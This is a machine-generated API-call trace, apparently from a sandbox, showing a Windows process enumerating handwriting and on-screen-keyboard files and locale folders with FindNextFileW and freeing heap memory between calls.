	[0135.117] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0135.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.117] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0135.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x599af8, Size=0x4000) returned 0x45a0098
	[0135.118] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0135.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.118] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0135.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.118] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0135.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.119] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0135.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.119] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0135.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.119] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0135.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.119] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0135.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.119] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0135.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.122] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0135.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.123] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0135.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.123] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0135.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.124] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0135.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.124] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0135.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.124] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0135.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.125] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0135.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.125] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0135.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.125] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0135.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a40a0 | out: hHeap=0x4f0000) returned 1
	[0135.126] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0135.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.126] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0135.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.126] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0135.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.126] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0135.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.127] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0135.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.127] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0135.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.129] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0135.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.129] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0135.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.129] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0135.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.130] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0135.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.130] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0135.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.130] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0135.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.131] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0135.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.131] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0135.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.131] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0135.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.132] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0135.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.132] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0135.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.132] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0135.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.132] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0135.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
